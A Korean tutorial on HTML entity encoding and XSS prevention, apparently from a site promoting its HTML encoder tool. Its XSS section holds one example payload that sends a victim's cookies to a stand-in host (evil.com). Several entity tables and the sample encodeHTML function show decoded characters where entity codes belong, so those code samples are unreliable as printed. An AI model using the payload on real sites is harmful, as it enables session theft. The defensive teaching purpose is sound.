HTML 엔티티 인코딩 가이드: 웹 페이지를 보호하세요
웹 페이지에서 <div> 태그를 텍스트로 표시하려다가 DOM 속으로 사라져 버린 경험이 있다면, 이미 이 문제를 알고 계실 겁니다. 브라우저는 특정 문자를 콘텐츠가 아닌 마크업 명령으로 해석합니다. HTML 엔티티는 브라우저에게 "이 문자를 해석하지 말고 그대로 표시하라"고 알려주는 방법입니다.
이 가이드에서는 실제로 사용하게 될 엔티티, 인코딩이 중요한 시점, 그리고 이를 생략했을 때 발생하는 보안 취약점을 피하는 방법을 다룹니다.
HTML 엔티티가 존재하는 이유
HTML은 몇 가지 문자를 구조적 구분자로 사용합니다. 주요 세 가지:
<는 태그를 엽니다>는 태그를 닫습니다&는 엔티티 참조를 시작합니다
브라우저의 파서가 <script>를 만나면 텍스트를 표시하지 않고 JavaScript를 실행합니다. ©를 만나면 ©를 렌더링합니다. 이러한 이중 목적의 특성 때문에 이 문자들을 보이는 텍스트로 표시하려면 HTML 엔티티를 사용하여 이스케이프해야 합니다.
HTML 엔티티는 &로 시작하고 ;로 끝나는 문자열입니다. 그 사이에는 이름 참조(예: amp) 또는 숫자 코드 포인트(예: #38)가 있습니다.
자주 사용하는 HTML 엔티티 참조표
가장 자주 사용하게 될 엔티티입니다:
| 문자 | 이름 엔티티 | 숫자 엔티티 | 설명 |
|---|---|---|---|
& | & | & | 앰퍼샌드 |
< | < | < | 보다 작음 |
> | > | > | 보다 큼 |
" | " | " | 큰따옴표 |
' | ' | ' | 작은따옴표(아포스트로피) |
| (공백) | |   | 줄 바꿈 없는 공백 |
| © | © | © | 저작권 |
| — | — | — | 엠 대시 |
| … | … | … | 줄임표 |
| € | € | € | 유로 기호 |
| ™ | ™ | ™ | 상표 |
처음 다섯 개는 반드시 알아야 합니다. 사용자가 생성한 콘텐츠를 렌더링하거나 코드를 표시할 때 &, <, >, ", '를 끊임없이 사용하게 됩니다.
줄 바꿈 없는 공백: 미묘한 존재
는 두 단어 사이에서 줄 바꿈을 방지합니다. 단순히 "추가 공백"이 아닙니다—브라우저는 여러 개의 일반 공백을 하나로 축소하지만 는 항상 렌더링됩니다. 사용 용도:
- 숫자와 단위를 함께 유지:
100 km - 단락 끝의 외톨이 단어 방지
- 가격 형식 지정:
$ 99.99
레이아웃 간격에 를 사용하지 마세요. 그것은 CSS의 margin과 padding이 할 일입니다.
이름 엔티티 vs 숫자 엔티티 vs 16진수 엔티티
같은 엔티티를 작성하는 세 가지 방법이 있습니다:
<!-- 이름 엔티티 -->
&
<!-- 10진수 숫자 엔티티 -->
&
<!-- 16진수 숫자 엔티티 -->
&
세 가지 모두 앰퍼샌드 문자 &를 생성합니다. 각각의 사용 시점:
이름 엔티티 (&, <, ©)는 읽기 쉽고 자체 문서화됩니다. HTML 소스 코드에서 &를 보면 의도가 즉시 전달됩니다. 일반적인 문자에 사용하세요.
10진수 숫자 엔티티 (&, ©)는 이름 참조가 없는 문자를 포함하여 모든 유니코드 코드 포인트에 작동합니다. 이름 엔티티가 없는 문자가 필요하거나 프로그래밍 방식으로 HTML을 생성할 때 사용하세요.
16진수 엔티티 (&, ©)는 10진수와 동일하지만 16진수 표기법을 사용합니다. 유니코드 테이블(코드 포인트를 16진수로 나열)로 작업하거나 도구가 16진수 값을 출력할 때 유용합니다.
실무에서는 일반적인 문자에 이름 엔티티를 사용하고 나머지에는 숫자 엔티티를 사용하세요. 이름 엔티티는 모든 브라우저에서 지원되며 소스 코드에서 훨씬 읽기 쉽습니다.
HTML 문자를 인코딩해야 하는 시점
코드 스니펫 표시
페이지에 코드 예제를 표시할 때 모든 <와 >는 인코딩이 필요합니다:
<!-- 이렇게 하면 깨집니다 -->
<p><div> 태그를 컨테이너에 사용하세요.</p>
<!-- 이렇게 하면 작동합니다 -->
<p><div> 태그를 컨테이너에 사용하세요.</p>
대부분의 템플릿 엔진과 프레임워크는 표준 출력 구문(예: 템플릿 언어의 {{ variable }} 또는 JSX의 {variable})을 사용할 때 이를 자동으로 처리합니다. 하지만 순수 HTML을 작성하거나 innerHTML로 콘텐츠를 주입할 때는 직접 처리해야 합니다.
사용자 생성 콘텐츠
사용자로부터 오는 모든 콘텐츠—폼 입력, 댓글, 프로필 필드, 검색 쿼리—는 렌더링 전에 인코딩되어야 합니다. 이것은 선택이 아닌 보안 요구사항입니다.
HTML 이메일
이메일 클라이언트는 문자 렌더링에서 악명 높게 일관성이 없습니다. 특수 문자를 엔티티로 인코딩하면 Gmail, Outlook, Apple Mail 및 기타 모든 클라이언트에서 올바르게 표시됩니다. 이는 &, " 및 비ASCII 기호에 특히 중요합니다.
콘텐츠 관리 시스템
CMS를 구축하거나 사용할 때 콘텐츠 파이프라인은 출력 단계에서 HTML 엔티티를 인코딩해야 합니다. 데이터베이스에 저장된 콘텐츠는 원본일 수 있지만 브라우저에 전달되는 것은 반드시 이스케이프되어야 합니다.
XSS 방지: 인코딩이 보안 문제인 이유
사용자 입력을 HTML에 렌더링하기 전에 인코딩하지 않는 것은 XSS(Cross-Site Scripting) 취약점의 가장 흔한 원인입니다. 이것은 이론적 위험이 아닙니다—XSS는 OWASP Top 10에 지속적으로 포함되어 있으며 활발하게 악용되고 있습니다.
XSS의 작동 원리
사용자가 검색한 내용을 표시하는 검색 페이지를 생각해 보세요:
<!-- 서버가 이것을 렌더링합니다 -->
<p>검색어: 사용자_입력</p>
사용자가 javascript tutorials와 같은 일반 텍스트를 입력하면 문제가 없습니다. 하지만 다음을 입력하면 어떨까요:
<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>
인코딩 없이는 브라우저가 실제 <script> 태그로 인식하고 실행합니다. 공격자는 이제 피해자의 쿠키, 세션 토큰, 그리고 잠재적으로 전체 계정 접근 권한을 갖게 됩니다.
해결 방법
신뢰할 수 없는 데이터를 HTML에 삽입하기 전에 다섯 가지 핵심 문자를 인코딩하세요:
| 문자 | 엔티티 | 중요한 이유 |
|---|---|---|
& | & | 엔티티 주입 방지 |
< | < | 태그 주입 방지 |
> | > | 주입된 태그 닫기 |
" | " | 속성 탈출 방지 |
' | ' | 속성 탈출 방지(작은따옴표) |
최소한의 인코딩 함수입니다:
function encodeHTML(str) {
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
순서에 주목하세요: &를 먼저 교체해야 합니다. <를 먼저 교체하면(< 생성), 그 다음 &를 교체할 때(<가 &lt;가 됨) 이중 인코딩이 발생합니다.
인코딩만으로는 모든 XSS 컨텍스트를 커버할 수 없습니다. 사용자 데이터를 JavaScript, CSS 또는 URL 속성에 삽입하는 경우 컨텍스트별 인코딩이 필요합니다. HTML 엔티티 인코딩은 HTML 본문과 속성 컨텍스트만 보호합니다.
프레임워크 수준의 보호
최신 프레임워크는 기본적으로 인코딩을 처리합니다:
- React: JSX는
{}표현식의 값을 자동으로 이스케이프합니다.dangerouslySetInnerHTML은 이를 우회하므로 사용자 콘텐츠에는 사용하지 마세요. - Angular: 템플릿 바인딩은 자동으로 새니타이즈됩니다.
[innerHTML]은 새니타이즈를 우회합니다. - Vue: 머스태시 구문
{{ }}는 자동으로 이스케이프합니다.v-html은 그렇지 않습니다. - 서버 사이드 템플릿 (EJS, Jinja2, Twig): 대부분 기본적으로 이스케이프하지만 설정을 확인하세요.
패턴은 일관적입니다: 표준 경로는 안전하고, 원시 HTML을 위한 탈출 경로가 항상 있습니다. 사용자 입력을 절대 탈출 경로를 통해 전달하지 마세요.
우리 도구로 HTML 인코딩하기
HTML 엔티티를 빠르게 인코딩하거나 디코딩해야 하나요? HTML 인코더 도구가 즉시 처리합니다:
- 텍스트를 붙여넣으면 한 번의 클릭으로 인코딩된 출력을 얻을 수 있습니다
- 모든 이름 및 숫자 엔티티 지원
- 엔티티를 다시 읽을 수 있는 텍스트로 디코딩
- 모든 것이 클라이언트 측에서 처리됩니다—데이터가 브라우저를 벗어나지 않습니다
HTML 이메일용 콘텐츠 준비, 문서용 코드 스니펫 인코딩, 템플릿에 삽입하기 전 텍스트 새니타이즈에 특히 유용합니다.
피해야 할 일반적인 실수
이중 인코딩: 텍스트를 인코더에 두 번 통과시키면 &가 &amp;로 변합니다. 페이지에서 &가 리터럴 텍스트로 표시된다면 파이프라인의 어딘가에서 이중 인코딩한 것입니다.
<script> 태그 내에서 인코딩: HTML 엔티티 인코딩은 스크립트 블록 내에서 작동하지 않습니다. JavaScript 파서는 <를 이해하지 못하고 리터럴 문자열 <로 인식합니다. 인라인 스크립트에는 JavaScript 문자열 이스케이프를 대신 사용하세요.
간격에 사용: 접근성 문제를 일으킵니다. 스크린 리더가 각 줄 바꿈 없는 공백을 개별적으로 읽을 수 있습니다. 시각적 간격에는 CSS를 사용하세요.
속성 값 잊기: 인코딩은 텍스트 콘텐츠만을 위한 것이 아닙니다. 속성 값도 인코딩이 필요하며, 특히 사용자 입력이 포함된 경우:
<!-- 위험 -->
<input value="사용자_입력">
<!-- 안전 -->
<input value=""인코딩된" 값">
빠른 참조: 인코딩 결정 트리
- 사용자가 생성한 콘텐츠인가? → 항상 인코딩
- 코드를 표시하는 것인가? →
<,>,&인코딩 - HTML 속성에 들어가는가? →
"와'도 인코딩 - URL에 들어가는가? → 대신 URL 인코딩 사용 (URL 인코딩 가이드 참조)
- JavaScript에 들어가는가? → HTML 엔티티가 아닌 JavaScript 이스케이프 사용
관련 자료
- Base64 인코딩 설명 — 웹 개발에 필수적인 또 다른 인코딩 형식 이해하기
- URL 인코딩 가이드 — URL에서 문자를 퍼센트 인코딩하는 시점과 방법 알아보기
- HTML 인코더 도구 — 브라우저에서 즉시 HTML 엔티티 인코딩 및 디코딩
🛠️ HTML 인코더로 브라우저에서 바로 HTML 엔티티를 인코딩하고 디코딩하세요—어떤 서버에도 데이터를 전송하지 않습니다.